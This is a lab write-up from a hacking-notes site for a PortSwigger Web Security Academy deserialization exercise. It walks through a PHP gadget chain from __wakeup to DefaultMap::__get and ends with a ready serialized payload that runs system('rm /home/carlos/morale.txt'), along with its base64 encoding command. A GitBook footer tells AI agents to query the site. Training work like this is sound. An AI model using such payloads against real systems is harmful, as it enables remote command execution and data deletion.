> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md).

# Custom String for PHP Deserialization Gadget Chain

Custom String for Php Deserialization Gadget Chain notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Developing a Custom Gadget Chain for PHP Deserialization

The application stores the session in a serialised **cookie + encoded in Base64**. During deserialization, some **magic methods** run automatically (notably `__wakeup()`), opening the way for a gadgets chain leading to command execution.

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOXphcmJxN3ZncmxrdTY1dTdyb3dzeW9wODN4aWtoYyI7fQ%3d%3d
```

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"r9zarbq7vgrlku65u7rowsyop83xikhc";}
```

{% endcode %}

The following comment is provided:

```html
    <!-- TODO: Refactor once /cgi-bin/libs/CustomTemplate.php is updated -->
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00926086b217b57b1a48fbb6081aa2aa2644479a%2F%7BCD49F9AE-153B-46E9-B9E6-0746158B077A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

File readable with /\~

```
/cgi-bin/libs/CustomTemplate.php~
```

#### 1) Code Analysis (`CustomTemplate.php~` Backup File)

```php
<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos thought this is cool, having a function called in two places... What a genius
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, what were you thinking with these descriptions? Please refactor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
```

#### Automatic Input Point: `CustomTemplate::__wakeup()`

* During `unserialize()`, PHP automatically calls `__wakeup()`.
* Ici, `__wakeup()` appelle `build_product()`.

#### Propagation to `Product`

`build_product()` fait :

* `new Product($this->default_desc_type, $this->desc)`

And in `Product::__construct()`:

* `$this->desc = $desc->$default_desc_type;`

So **code attempts to access a dynamic property** on the `$desc` object, with `$default_desc_type` as the controllable value.

#### Deciding Gadget: `DefaultMap::__get($name)`

If `$desc` is a `DefaultMap` object:

* it has no real property called `HTML_DESC` / `TEXT_DESC` / or other chain that is imposed,
* so PHP triggers `__get($name)`,
* `__get()` made: `call_user_func($this->callback, $name)`.

If `callback = "system"` is set, the result is `system($name)`.

#### 2) Chain Objective

Run:

* `system("rm /home/carlos/morale.txt")`

#### 3) Chain Construction (logical)

Build an object:

* `CustomTemplate->default_desc_type` = **"rm /home/carlos/morale.txt"**/ (this will be the property name of `DefaultMap`, so the argument passed to `system`)
* `CustomTemplate->desc` = **DefaultMap object**
* `DefaultMap->callback` = **"system"**

Derived from deserialization:

1. `unserialize()` → calls `CustomTemplate::__wakeup()`
2. `__wakeup()` → `build_product()` → `Product`
3. `Product::__construct()` makes `$desc->$default_desc_type`
4. `$desc` is `DefaultMap` and the property does not exist → `DefaultMap::__get($name)`
5. `__get()` → `call_user_func("system", $name)` → executes the command

#### 4) Serialized PHP Payload (attention to Lengths)

Serialized Payload:

```json
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}
```

#### Base64 Encoding for Cookie

Command:

```bash
echo 'O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}' | base64 -w 0 ; echo
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9536555a5a3001308a36224bcef01e69dfd4435%2F%7B6BB03D50-45D1-4220-A3D4-E8ED4F86CB2E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
